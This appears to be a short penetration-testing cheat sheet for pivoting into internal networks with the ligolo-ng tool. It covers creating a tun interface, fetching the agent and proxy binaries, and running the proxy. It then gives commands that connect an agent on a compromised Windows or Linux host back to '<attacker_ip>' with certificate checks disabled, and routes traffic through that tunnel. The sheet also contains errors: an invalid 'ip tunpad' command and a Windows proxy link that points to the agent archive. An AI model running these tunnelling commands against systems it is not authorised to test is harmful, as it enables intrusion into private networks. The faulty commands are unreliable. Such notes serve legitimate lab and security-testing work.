Pivoting

Set everything up

# Add the Tunnel
sudo  ip tunpad add <USER> mode tun ligolo
# Set the Tunnel state to up
sudo ip link set ligolo up

Download Ligolo Agent and Proxy

# Download Ligolo agent 
Windows -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
Linux   -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
# Download Ligolo Proxy
Windows -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
Linux   -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz

Run the Ligolo proxy

# Run the proxy with the self certificate
./proxy -selfcert

Connect Agent to Attacker — Windows

# Connect to the attacker (Ignoring certificate)
ligolo-agent.exe -connect <attacker_ip>:11601 -ignore-cert

Connect Agent to Attacker — Linux

# Connect to the attacker (Ignoring certificate)
./agent -connect <attacker_ip>:11601 -ignore-cert

Select the session

# List sessions
session
<type session number>
# Check Ip Table to enumerate pivots
ifconfig
# Add route to the pivot (IN ANOTHER TERMINAL TAB) 
sudo ip route add <pivot ip> dev ligolo
# Check if the routes are correct
ip route list
# (BACK ON LIGOLO) 

Last updated